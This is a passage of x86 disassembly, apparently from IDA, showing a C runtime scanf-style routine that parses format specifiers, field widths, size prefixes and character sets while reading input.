ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	1C8h
		push	offset stru_41BC40
		call	__SEH_prolog
		mov	eax, dword_421360
		xor	eax, [ebp+4]
		mov	[ebp+var_1C], eax
		xor	eax, eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_28], eax
		and	[ebp+var_29], al
		mov	[ebp+var_30], eax
		mov	[ebp+var_34], eax


loc_41098A:				; CODE XREF: sub_41095C+A5j
					; sub_41095C+B59j
		mov	esi, [ebp+arg_4]


loc_41098D:				; CODE XREF: sub_41095C+B47j
		mov	al, [esi]
		test	al, al
		jz	loc_4114BB
		movzx	eax, al
		cmp	dword_4214F4, 1
		jle	short loc_4109AF
		push	8
		push	eax
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_4109BC
; ---------------------------------------------------------------------------


loc_4109AF:				; CODE XREF: sub_41095C+45j
		mov	ecx, off_4214EC
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 8


loc_4109BC:				; CODE XREF: sub_41095C+51j
		xor	edi, edi
		cmp	eax, edi
		jz	short loc_410A03
		dec	[ebp+var_30]


loc_4109C5:				; CODE XREF: sub_41095C+7Fj
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	esi, eax
		push	esi
		call	sub_414DD0
		pop	ecx
		test	eax, eax
		jnz	short loc_4109C5
		cmp	esi, 0FFFFFFFFh
		jz	short loc_4109ED
		push	[ebp+arg_0]
		push	esi
		call	sub_414D64
		pop	ecx
		pop	ecx


loc_4109ED:				; CODE XREF: sub_41095C+84j
					; sub_41095C+A3j
		inc	[ebp+arg_4]
		mov	eax, [ebp+arg_4]
		movzx	eax, byte ptr [eax]
		push	eax
		call	sub_414DD0
		pop	ecx
		test	eax, eax
		jnz	short loc_4109ED
		jmp	short loc_41098A
; ---------------------------------------------------------------------------


loc_410A03:				; CODE XREF: sub_41095C+64j
		mov	esi, [ebp+arg_4]
		cmp	byte ptr [esi],	25h
		jnz	loc_411437
		mov	[ebp+var_38], edi
		and	[ebp+var_39], 0
		mov	[ebp+var_40], edi
		mov	[ebp+var_44], edi
		mov	[ebp+var_48], edi
		and	[ebp+var_49], 0
		and	[ebp+var_4A], 0
		and	[ebp+var_4B], 0
		and	[ebp+var_4C], 0
		and	[ebp+var_4D], 0
		and	[ebp+var_4E], 0
		mov	[ebp+var_4F], 1
		mov	[ebp+var_54], edi


loc_410A3E:				; CODE XREF: sub_41095C+1BCj
		inc	esi
		movzx	ebx, byte ptr [esi]
		movzx	eax, bl
		cmp	dword_4214F4, 1
		jle	short loc_410A5A
		push	4
		push	eax
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_410A67
; ---------------------------------------------------------------------------


loc_410A5A:				; CODE XREF: sub_41095C+F0j
		mov	ecx, off_4214EC
		movzx	eax, byte ptr [ecx+eax*2]
		and	eax, 4


loc_410A67:				; CODE XREF: sub_41095C+FCj
		test	eax, eax
		jz	short loc_410A7A
		inc	[ebp+var_44]
		lea	eax, [edi+edi*4]
		lea	edi, [ebx+eax*2-30h]
		jmp	loc_410B14
; ---------------------------------------------------------------------------


loc_410A7A:				; CODE XREF: sub_41095C+10Dj
		cmp	ebx, 4Eh
		jg	short loc_410AF2
		jz	loc_410B14
		cmp	ebx, 2Ah
		jz	short loc_410AED
		cmp	ebx, 46h
		jz	loc_410B14
		cmp	ebx, 49h
		jz	short loc_410AA2
		cmp	ebx, 4Ch
		jnz	short loc_410B01
		inc	[ebp+var_4F]
		jmp	short loc_410B14
; ---------------------------------------------------------------------------


loc_410AA2:				; CODE XREF: sub_41095C+13Aj
		mov	cl, [esi+1]
		cmp	cl, 36h
		jnz	short loc_410AC1
		lea	eax, [esi+2]
		cmp	byte ptr [eax],	34h
		jnz	short loc_410AC1
		mov	esi, eax
		inc	[ebp+var_54]
		and	[ebp+var_5C], 0
		and	[ebp+var_58], 0
		jmp	short loc_410B14
; ---------------------------------------------------------------------------


loc_410AC1:				; CODE XREF: sub_41095C+14Cj
					; sub_41095C+154j
		cmp	cl, 33h
		jnz	short loc_410AD2
		lea	eax, [esi+2]
		cmp	byte ptr [eax],	32h
		jnz	short loc_410AD2
		mov	esi, eax
		jmp	short loc_410B14
; ---------------------------------------------------------------------------


loc_410AD2:				; CODE XREF: sub_41095C+168j
					; sub_41095C+170j
		cmp	cl, 64h
		jz	short loc_410B14
		cmp	cl, 69h
		jz	short loc_410B14
		cmp	cl, 6Fh
		jz	short loc_410B14
		cmp	cl, 78h
		jz	short loc_410B14
		cmp	cl, 58h
		jnz	short loc_410B01
		jmp	short loc_410B14
; ---------------------------------------------------------------------------


loc_410AED:				; CODE XREF: sub_41095C+12Cj
		inc	[ebp+var_4B]
		jmp	short loc_410B14
; ---------------------------------------------------------------------------


loc_410AF2:				; CODE XREF: sub_41095C+121j
		cmp	ebx, 68h
		jz	short loc_410B0E
		cmp	ebx, 6Ch
		jz	short loc_410B06
		cmp	ebx, 77h
		jz	short loc_410B09


loc_410B01:				; CODE XREF: sub_41095C+13Fj
					; sub_41095C+18Dj
		inc	[ebp+var_4C]
		jmp	short loc_410B14
; ---------------------------------------------------------------------------


loc_410B06:				; CODE XREF: sub_41095C+19Ej
		inc	[ebp+var_4F]


loc_410B09:				; CODE XREF: sub_41095C+1A3j
		inc	[ebp+var_4E]
		jmp	short loc_410B14
; ---------------------------------------------------------------------------


loc_410B0E:				; CODE XREF: sub_41095C+199j
		dec	[ebp+var_4F]
		dec	[ebp+var_4E]


loc_410B14:				; CODE XREF: sub_41095C+119j
					; sub_41095C+123j ...
		cmp	[ebp+var_4C], 0
		jz	loc_410A3E
		mov	[ebp+var_48], edi
		mov	[ebp+arg_4], esi
		cmp	[ebp+var_4B], 0
		jnz	short loc_410B3E
		mov	eax, [ebp+arg_8]
		mov	[ebp+var_60], eax
		add	eax, 4
		mov	[ebp+arg_8], eax
		mov	ebx, [eax-4]
		mov	[ebp+var_64], ebx
		jmp	short loc_410B41
; ---------------------------------------------------------------------------


loc_410B3E:				; CODE XREF: sub_41095C+1CCj
		mov	ebx, [ebp+var_64]


loc_410B41:				; CODE XREF: sub_41095C+1E0j
		and	[ebp+var_4C], 0
		cmp	[ebp+var_4E], 0
		jnz	short loc_410B5F
		mov	al, [esi]
		cmp	al, 53h
		jz	short loc_410B5B
		cmp	al, 43h
		jz	short loc_410B5B
		or	[ebp+var_4E], 0FFh
		jmp	short loc_410B5F
; ---------------------------------------------------------------------------


loc_410B5B:				; CODE XREF: sub_41095C+1F3j
					; sub_41095C+1F7j
		mov	[ebp+var_4E], 1


loc_410B5F:				; CODE XREF: sub_41095C+1EDj
					; sub_41095C+1FDj
		movzx	edi, byte ptr [esi]
		or	edi, 20h
		mov	[ebp+var_68], edi
		cmp	edi, 6Eh
		jz	short loc_410BA5
		cmp	edi, 63h
		jz	short loc_410B97
		cmp	edi, 7Bh
		jz	short loc_410B97


loc_410B77:				; CODE XREF: sub_41095C+231j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	esi, eax
		push	esi
		call	sub_414DD0
		pop	ecx
		test	eax, eax
		jnz	short loc_410B77
		mov	[ebp+var_28], esi
		mov	esi, [ebp+arg_4]
		jmp	short loc_410BA5
; ---------------------------------------------------------------------------


loc_410B97:				; CODE XREF: sub_41095C+214j
					; sub_41095C+219j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	[ebp+var_28], eax


loc_410BA5:				; CODE XREF: sub_41095C+20Fj
					; sub_41095C+239j
		mov	ecx, [ebp+var_44]
		test	ecx, ecx
		jz	short loc_410BB6
		cmp	[ebp+var_48], 0
		jz	loc_410E4E


loc_410BB6:				; CODE XREF: sub_41095C+24Ej
		cmp	edi, 6Fh
		jg	loc_410E20
		jz	loc_411195
		cmp	edi, 63h
		jz	loc_410DFF
		cmp	edi, 64h
		jz	loc_411195
		jle	loc_410E46
		cmp	edi, 67h
		jle	short loc_410C1A
		cmp	edi, 69h
		jz	short loc_410C02
		cmp	edi, 6Eh
		jnz	loc_410E46
		mov	eax, [ebp+var_30]
		cmp	[ebp+var_4B], 0
		jz	loc_41140C
		jmp	loc_41142C
; ---------------------------------------------------------------------------


loc_410C02:				; CODE XREF: sub_41095C+289j
		push	64h
		pop	edi


loc_410C05:				; CODE XREF: sub_41095C+4DFj
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	loc_411089
		mov	[ebp+var_4A], 1
		jmp	loc_41108E
; ---------------------------------------------------------------------------


loc_410C1A:				; CODE XREF: sub_41095C+284j
		lea	esi, [ebp+var_1C8]
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	short loc_410C36
		mov	[ebp+var_1C8], bl
		lea	esi, [ebp+var_1C7]
		jmp	short loc_410C3B
; ---------------------------------------------------------------------------


loc_410C36:				; CODE XREF: sub_41095C+2CAj
		cmp	ebx, 2Bh
		jnz	short loc_410C52


loc_410C3B:				; CODE XREF: sub_41095C+2D8j
		dec	[ebp+var_48]
		inc	[ebp+var_30]
		mov	edi, [ebp+arg_0]
		mov	edx, edi
		call	sub_410946
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		jmp	short loc_410C55
; ---------------------------------------------------------------------------


loc_410C52:				; CODE XREF: sub_41095C+2DDj
		mov	edi, [ebp+arg_0]


loc_410C55:				; CODE XREF: sub_41095C+2F4j
		cmp	[ebp+var_44], 0
		jz	short loc_410C64
		cmp	[ebp+var_48], 15Dh
		jle	short loc_410C6B


loc_410C64:				; CODE XREF: sub_41095C+2FDj
		mov	[ebp+var_48], 15Dh


loc_410C6B:				; CODE XREF: sub_41095C+306j
					; sub_41095C+353j
		cmp	dword_4214F4, 1
		jle	short loc_410C80
		push	4
		push	ebx
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_410C8C
; ---------------------------------------------------------------------------


loc_410C80:				; CODE XREF: sub_41095C+316j
		mov	eax, off_4214EC
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, 4


loc_410C8C:				; CODE XREF: sub_41095C+322j
		test	eax, eax
		jz	short loc_410CB1
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_410CB1
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_410946
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		jmp	short loc_410C6B
; ---------------------------------------------------------------------------


loc_410CB1:				; CODE XREF: sub_41095C+332j
					; sub_41095C+33Cj
		cmp	byte_4214F8, bl
		jnz	short loc_410D1D
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_410D1D
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_410946
		mov	ebx, eax
		mov	al, byte_4214F8
		mov	[esi], al
		inc	esi


loc_410CD7:				; CODE XREF: sub_41095C+3BFj
		mov	[ebp+var_28], ebx
		cmp	dword_4214F4, 1
		jle	short loc_410CEF
		push	4
		push	ebx
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_410CFB
; ---------------------------------------------------------------------------


loc_410CEF:				; CODE XREF: sub_41095C+385j
		mov	eax, off_4214EC
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, 4


loc_410CFB:				; CODE XREF: sub_41095C+391j
		test	eax, eax
		jz	short loc_410D1D
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_410D1D
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_410946
		mov	ebx, eax
		jmp	short loc_410CD7
; ---------------------------------------------------------------------------


loc_410D1D:				; CODE XREF: sub_41095C+35Bj
					; sub_41095C+365j ...
		cmp	[ebp+var_40], 0
		jz	loc_410DB6
		cmp	ebx, 65h
		jz	short loc_410D35
		cmp	ebx, 45h
		jnz	loc_410DB6


loc_410D35:				; CODE XREF: sub_41095C+3CEj
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_410DB6
		mov	byte ptr [esi],	65h
		inc	esi
		inc	[ebp+var_30]
		mov	edx, edi
		call	sub_410946
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	ebx, 2Dh
		jnz	short loc_410D5C
		mov	[esi], al
		inc	esi
		jmp	short loc_410D61
; ---------------------------------------------------------------------------


loc_410D5C:				; CODE XREF: sub_41095C+3F9j
		cmp	ebx, 2Bh
		jnz	short loc_410D7F


loc_410D61:				; CODE XREF: sub_41095C+3FEj
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jnz	short loc_410D70
		and	[ebp+var_48], eax
		jmp	short loc_410D7F
; ---------------------------------------------------------------------------


loc_410D70:				; CODE XREF: sub_41095C+40Dj
					; sub_41095C+458j
		mov	edx, edi
		inc	[ebp+var_30]
		call	sub_410946
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_410D7F:				; CODE XREF: sub_41095C+403j
					; sub_41095C+412j
		cmp	dword_4214F4, 1
		jle	short loc_410D94
		push	4
		push	ebx
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_410DA0
; ---------------------------------------------------------------------------


loc_410D94:				; CODE XREF: sub_41095C+42Aj
		mov	eax, off_4214EC
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, 4


loc_410DA0:				; CODE XREF: sub_41095C+436j
		test	eax, eax
		jz	short loc_410DB6
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	short loc_410DB6
		inc	[ebp+var_40]
		mov	[esi], bl
		inc	esi
		jmp	short loc_410D70
; ---------------------------------------------------------------------------


loc_410DB6:				; CODE XREF: sub_41095C+3C5j
					; sub_41095C+3D3j ...
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_410DC7
		push	edi
		push	ebx
		call	sub_414D64
		pop	ecx
		pop	ecx


loc_410DC7:				; CODE XREF: sub_41095C+460j
		cmp	[ebp+var_40], 0
		jz	loc_4114BB
		cmp	[ebp+var_4B], 0
		jnz	loc_41142C
		inc	[ebp+var_34]
		and	byte ptr [esi],	0
		lea	eax, [ebp+var_1C8]
		push	eax
		push	[ebp+var_64]
		movsx	eax, [ebp+var_4F]
		dec	eax
		push	eax
		call	off_42136C
		add	esp, 0Ch
		jmp	loc_41142C
; ---------------------------------------------------------------------------


loc_410DFF:				; CODE XREF: sub_41095C+26Cj
		test	ecx, ecx
		jnz	short loc_410E0D
		mov	[ebp+var_44], 1
		inc	[ebp+var_48]


loc_410E0D:				; CODE XREF: sub_41095C+4A5j
					; sub_41095C+4D2j
		cmp	[ebp+var_4E], 0
		jle	loc_410F95
		mov	[ebp+var_4D], 1
		jmp	loc_410F95
; ---------------------------------------------------------------------------


loc_410E20:				; CODE XREF: sub_41095C+25Dj
		mov	eax, edi
		sub	eax, 70h
		jz	loc_411191
		sub	eax, 3
		jz	short loc_410E0D
		dec	eax
		dec	eax
		jz	loc_411195
		sub	eax, 3
		jz	loc_410C05
		sub	eax, 3
		jz	short loc_410E6F


loc_410E46:				; CODE XREF: sub_41095C+27Bj
					; sub_41095C+28Ej
		movzx	eax, byte ptr [esi]
		cmp	eax, [ebp+var_28]
		jz	short loc_410E57


loc_410E4E:				; CODE XREF: sub_41095C+254j
		cmp	[ebp+var_28], 0FFFFFFFFh
		jmp	loc_41148B
; ---------------------------------------------------------------------------


loc_410E57:				; CODE XREF: sub_41095C+4F0j
		dec	[ebp+var_29]
		cmp	[ebp+var_4B], 0
		jnz	loc_41142C
		mov	eax, [ebp+var_60]
		mov	[ebp+arg_8], eax
		jmp	loc_41142C
; ---------------------------------------------------------------------------


loc_410E6F:				; CODE XREF: sub_41095C+4E8j
		cmp	[ebp+var_4E], 0
		jle	short loc_410E79
		mov	[ebp+var_4D], 1


loc_410E79:				; CODE XREF: sub_41095C+517j
		mov	edi, [ebp+arg_4]
		inc	edi
		mov	[ebp+arg_4], edi
		mov	[ebp+var_1CC], edi
		cmp	byte ptr [edi],	5Eh
		jnz	short loc_410E96
		inc	edi
		mov	[ebp+var_1CC], edi
		or	[ebp+var_49], 0FFh


loc_410E96:				; CODE XREF: sub_41095C+52Dj
		mov	ebx, [ebp+var_20]
		test	ebx, ebx
		jnz	short loc_410EEE
		and	[ebp+ms_exc.disabled], ebx
		push	20h
		pop	eax
		call	sub_40D9A0
		mov	[ebp+ms_exc.old_esp], esp
		mov	ebx, esp
		mov	[ebp+var_20], ebx
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	short loc_410EEE
; ---------------------------------------------------------------------------


loc_410EB6:				; DATA XREF: .text:stru_41BC40o
		xor	eax, eax
		inc	eax
		retn
; ---------------------------------------------------------------------------


loc_410EBA:				; DATA XREF: .text:stru_41BC40o
		mov	esp, [ebp+ms_exc.old_esp]
		call	sub_414EC1
		push	20h
		call	sub_40E74F
		pop	ecx
		mov	[ebp+var_20], eax
		test	eax, eax
		jnz	short loc_410EDA
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		jmp	loc_4114BB
; ---------------------------------------------------------------------------


loc_410EDA:				; CODE XREF: sub_41095C+573j
		mov	[ebp+var_24], 1
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		mov	edi, [ebp+var_1CC]
		mov	ebx, [ebp+var_20]


loc_410EEE:				; CODE XREF: sub_41095C+53Fj
					; sub_41095C+558j
		push	20h
		push	0
		push	ebx
		call	sub_40D7B0
		add	esp, 0Ch
		cmp	[ebp+var_68], 7Bh
		jnz	short loc_410F75
		cmp	byte ptr [edi],	5Dh
		jnz	short loc_410F75
		mov	dl, 5Dh
		inc	edi
		mov	byte ptr [ebx+0Bh], 20h
		jmp	short loc_410F78
; ---------------------------------------------------------------------------


loc_410F0F:				; CODE XREF: sub_41095C+620j
		inc	edi
		cmp	al, 2Dh
		jnz	short loc_410F5F
		test	dl, dl
		jz	short loc_410F5F
		mov	cl, [edi]
		cmp	cl, 5Dh
		jz	short loc_410F5F
		inc	edi
		cmp	dl, cl
		jnb	short loc_410F28
		mov	al, cl
		jmp	short loc_410F2C
; ---------------------------------------------------------------------------


loc_410F28:				; CODE XREF: sub_41095C+5C6j
		mov	al, dl
		mov	dl, cl


loc_410F2C:				; CODE XREF: sub_41095C+5CAj
		cmp	dl, al
		ja	short loc_410F5B
		movzx	esi, dl
		sub	al, dl
		inc	al
		movzx	eax, al
		mov	[ebp+var_1D0], eax


loc_410F40:				; CODE XREF: sub_41095C+5FDj
		mov	eax, esi
		shr	eax, 3
		add	eax, ebx
		mov	ecx, esi
		and	ecx, 7
		mov	dl, 1
		shl	dl, cl
		or	[eax], dl
		inc	esi
		dec	[ebp+var_1D0]
		jnz	short loc_410F40


loc_410F5B:				; CODE XREF: sub_41095C+5D2j
		xor	dl, dl
		jmp	short loc_410F78
; ---------------------------------------------------------------------------


loc_410F5F:				; CODE XREF: sub_41095C+5B6j
					; sub_41095C+5BAj ...
		mov	[ebp+var_39], al
		movzx	ecx, al
		mov	eax, ecx
		shr	eax, 3
		add	eax, ebx
		and	ecx, 7
		mov	dl, 1
		shl	dl, cl
		or	[eax], dl


loc_410F75:				; CODE XREF: sub_41095C+5A3j
					; sub_41095C+5A8j
		mov	dl, [ebp+var_39]


loc_410F78:				; CODE XREF: sub_41095C+5B1j
					; sub_41095C+601j
		mov	al, [edi]
		cmp	al, 5Dh
		jnz	short loc_410F0F
		test	al, al
		jz	loc_4114BB
		mov	ebx, [ebp+var_64]
		cmp	[ebp+var_68], 7Bh
		jnz	short loc_410F92
		mov	[ebp+arg_4], edi


loc_410F92:				; CODE XREF: sub_41095C+631j
		mov	edi, [ebp+var_68]


loc_410F95:				; CODE XREF: sub_41095C+4B5j
					; sub_41095C+4BFj
		mov	esi, ebx
		dec	[ebp+var_30]
		cmp	[ebp+var_28], 0FFFFFFFFh
		jz	short loc_410FAD
		push	[ebp+arg_0]
		push	[ebp+var_28]
		call	sub_414D64
		pop	ecx
		pop	ecx


loc_410FAD:				; CODE XREF: sub_41095C+642j
					; sub_41095C+7DEj ...
		cmp	[ebp+var_44], 0
		jz	short loc_410FC1
		mov	eax, [ebp+var_48]
		dec	[ebp+var_48]
		test	eax, eax
		jz	loc_411158


loc_410FC1:				; CODE XREF: sub_41095C+655j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	[ebp+var_28], eax
		cmp	eax, 0FFFFFFFFh
		jz	loc_411145
		cmp	edi, 63h
		jz	short loc_411021
		cmp	edi, 73h
		jnz	short loc_410FF1
		cmp	eax, 9
		jl	short loc_410FEC
		cmp	eax, 0Dh
		jle	short loc_410FF1


loc_410FEC:				; CODE XREF: sub_41095C+689j
		cmp	eax, 20h
		jnz	short loc_411021


loc_410FF1:				; CODE XREF: sub_41095C+684j
					; sub_41095C+68Ej
		cmp	edi, 7Bh
		jnz	loc_411145
		mov	ecx, eax
		and	ecx, 7
		xor	edx, edx
		inc	edx
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		mov	edi, [ebp+var_20]
		movsx	ecx, byte ptr [ecx+edi]
		movsx	edi, [ebp+var_49]
		xor	ecx, edi
		test	edx, ecx
		jz	loc_411145
		mov	edi, [ebp+var_68]


loc_411021:				; CODE XREF: sub_41095C+67Fj
					; sub_41095C+693j
		cmp	[ebp+var_4B], 0
		jnz	loc_41113F
		cmp	[ebp+var_4D], 0
		jz	loc_411134
		mov	[ebp+var_1D4], al
		movzx	eax, al
		mov	ecx, off_4214EC
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41105C
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	[ebp+var_1D3], al


loc_41105C:				; CODE XREF: sub_41095C+6EDj
		push	dword_4214F4
		lea	eax, [ebp+var_1D4]
		push	eax
		lea	eax, [ebp+var_1D8]
		push	eax
		call	sub_414DF9
		add	esp, 0Ch
		mov	ax, [ebp+var_1D8]
		mov	[ebx], ax
		inc	ebx
		inc	ebx
		jmp	loc_411137
; ---------------------------------------------------------------------------


loc_411089:				; CODE XREF: sub_41095C+2AFj
		cmp	ebx, 2Bh
		jnz	short loc_4110AD


loc_41108E:				; CODE XREF: sub_41095C+2B9j
		dec	[ebp+var_48]
		jnz	short loc_41109D
		test	ecx, ecx
		jz	short loc_41109D
		mov	[ebp+var_4C], 1
		jmp	short loc_4110AD
; ---------------------------------------------------------------------------


loc_41109D:				; CODE XREF: sub_41095C+735j
					; sub_41095C+739j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	ebx, eax
		mov	[ebp+var_28], ebx


loc_4110AD:				; CODE XREF: sub_41095C+730j
					; sub_41095C+73Fj
		cmp	ebx, 30h
		jnz	loc_4111C7
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	bl, 78h
		jz	short loc_41110D
		cmp	bl, 58h
		jz	short loc_41110D
		mov	[ebp+var_40], 1
		cmp	edi, 78h
		jz	short loc_4110F2
		cmp	[ebp+var_44], 0
		jz	short loc_4110EA
		dec	[ebp+var_48]
		jnz	short loc_4110EA
		inc	[ebp+var_4C]


loc_4110EA:				; CODE XREF: sub_41095C+784j
					; sub_41095C+789j
		push	6Fh


loc_4110EC:				; CODE XREF: sub_41095C+7D6j
		pop	edi
		jmp	loc_4111C7
; ---------------------------------------------------------------------------


loc_4110F2:				; CODE XREF: sub_41095C+77Ej
		dec	[ebp+var_30]
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_411105
		push	[ebp+arg_0]
		push	ebx
		call	sub_414D64
		pop	ecx
		pop	ecx


loc_411105:				; CODE XREF: sub_41095C+79Cj
		push	30h
		pop	ebx
		jmp	loc_4111C4
; ---------------------------------------------------------------------------


loc_41110D:				; CODE XREF: sub_41095C+76Dj
					; sub_41095C+772j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	ebx, eax
		mov	[ebp+var_28], ebx
		cmp	[ebp+var_44], 0
		jz	short loc_411130
		sub	[ebp+var_48], 2
		cmp	[ebp+var_48], 1
		jge	short loc_411130
		inc	[ebp+var_4C]


loc_411130:				; CODE XREF: sub_41095C+7C5j
					; sub_41095C+7CFj
		push	78h
		jmp	short loc_4110EC
; ---------------------------------------------------------------------------


loc_411134:				; CODE XREF: sub_41095C+6D3j
		mov	[ebx], al
		inc	ebx


loc_411137:				; CODE XREF: sub_41095C+728j
		mov	[ebp+var_64], ebx
		jmp	loc_410FAD
; ---------------------------------------------------------------------------


loc_41113F:				; CODE XREF: sub_41095C+6C9j
		inc	esi
		jmp	loc_410FAD
; ---------------------------------------------------------------------------


loc_411145:				; CODE XREF: sub_41095C+676j
					; sub_41095C+698j ...
		dec	[ebp+var_30]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_411158
		push	[ebp+arg_0]
		push	eax
		call	sub_414D64
		pop	ecx
		pop	ecx


loc_411158:				; CODE XREF: sub_41095C+65Fj
					; sub_41095C+7EFj
		cmp	esi, ebx
		jz	loc_4114BB
		cmp	[ebp+var_4B], 0
		jnz	loc_41142C
		inc	[ebp+var_34]
		cmp	[ebp+var_68], 63h
		jz	loc_41142C
		mov	eax, [ebp+var_64]
		cmp	[ebp+var_4D], 0
		jz	short loc_411189
		and	word ptr [eax],	0
		jmp	loc_41142C
; ---------------------------------------------------------------------------


loc_411189:				; CODE XREF: sub_41095C+822j
		and	byte ptr [eax],	0
		jmp	loc_41142C
; ---------------------------------------------------------------------------


loc_411191:				; CODE XREF: sub_41095C+4C9j
		mov	[ebp+var_4F], 1


loc_411195:				; CODE XREF: sub_41095C+263j
					; sub_41095C+275j ...
		mov	ebx, [ebp+var_28]
		cmp	ebx, 2Dh
		jnz	short loc_4111A3
		mov	[ebp+var_4A], 1
		jmp	short loc_4111A8
; ---------------------------------------------------------------------------


loc_4111A3:				; CODE XREF: sub_41095C+83Fj
		cmp	ebx, 2Bh
		jnz	short loc_4111C7


loc_4111A8:				; CODE XREF: sub_41095C+845j
		dec	[ebp+var_48]
		jnz	short loc_4111B7
		test	ecx, ecx
		jz	short loc_4111B7
		mov	[ebp+var_4C], 1
		jmp	short loc_4111C7
; ---------------------------------------------------------------------------


loc_4111B7:				; CODE XREF: sub_41095C+84Fj
					; sub_41095C+853j
		inc	[ebp+var_30]
		mov	edx, [ebp+arg_0]
		call	sub_410946
		mov	ebx, eax


loc_4111C4:				; CODE XREF: sub_41095C+7ACj
		mov	[ebp+var_28], ebx


loc_4111C7:				; CODE XREF: sub_41095C+754j
					; sub_41095C+791j ...
		cmp	[ebp+var_54], 0
		jz	loc_4112FE
		cmp	[ebp+var_4C], 0
		jnz	loc_4112DC
		mov	esi, 80h


loc_4111E0:				; CODE XREF: sub_41095C+977j
		cmp	edi, 78h
		jz	short loc_411245
		cmp	edi, 70h
		jz	short loc_411245
		cmp	dword_4214F4, 1
		jle	short loc_4111FF
		push	4
		push	ebx
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_41120B
; ---------------------------------------------------------------------------


loc_4111FF:				; CODE XREF: sub_41095C+895j
		mov	eax, off_4214EC
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, 4


loc_41120B:				; CODE XREF: sub_41095C+8A1j
		test	eax, eax
		jz	short loc_411286
		cmp	edi, 6Fh
		jnz	short loc_41122E
		cmp	ebx, 38h
		jge	short loc_411286
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_58]
		shld	ecx, eax, 3
		shl	eax, 3
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		jmp	short loc_411289
; ---------------------------------------------------------------------------


loc_41122E:				; CODE XREF: sub_41095C+8B6j
		push	0
		push	0Ah
		push	[ebp+var_58]
		push	[ebp+var_5C]
		call	sub_411B40
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], edx
		jmp	short loc_411289
; ---------------------------------------------------------------------------


loc_411245:				; CODE XREF: sub_41095C+887j
					; sub_41095C+88Cj
		cmp	dword_4214F4, 1
		jle	short loc_411259
		push	esi
		push	ebx
		call	sub_41328D
		pop	ecx
		pop	ecx
		jmp	short loc_411264
; ---------------------------------------------------------------------------


loc_411259:				; CODE XREF: sub_41095C+8F0j
		mov	eax, off_4214EC
		movzx	eax, byte ptr [eax+ebx*2]
		and	eax, esi


loc_411264:				; CODE XREF: sub_41095C+8FBj
		test	eax, eax
		jz	short loc_411286
		mov	eax, [ebp+var_5C]
		mov	ecx, [ebp+var_58]
		shld	ecx, eax, 4
		shl	eax, 4
		mov	[ebp+var_5C], eax
		mov	[ebp+var_58], ecx
		mov	eax, ebx
		call	sub_410914
		mov	ebx, eax
		jmp	short loc_411289
; ---------------------------------------------------------------------------


loc_411286:				; CODE XREF: sub_41095C+8B1j
					; sub_41095C+8BBj ...
		inc	[ebp+var_4C]


loc_411289:				; CODE XREF: sub_41095C+8D0j
					; sub_41095C+8E7j ...
		cmp	[ebp+var_4C], 0
		jnz	short loc_4112BC
		inc	[ebp+var_40]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_5C], eax
		adc	[ebp+var_58], edx
		cmp	[ebp+var_44], 0
		jz	short loc_4112AD
		dec	[ebp+var_48]
		jnz	short loc_4112AD
		mov	[ebp+var_4C], 1
		jmp	short loc_4112CF
; ---------------------------------------------------------------------------


loc_4112AD:				; CODE XREF: sub_41095C+944j
					; sub_41095C+949j
		inc	[ebp+var_30]
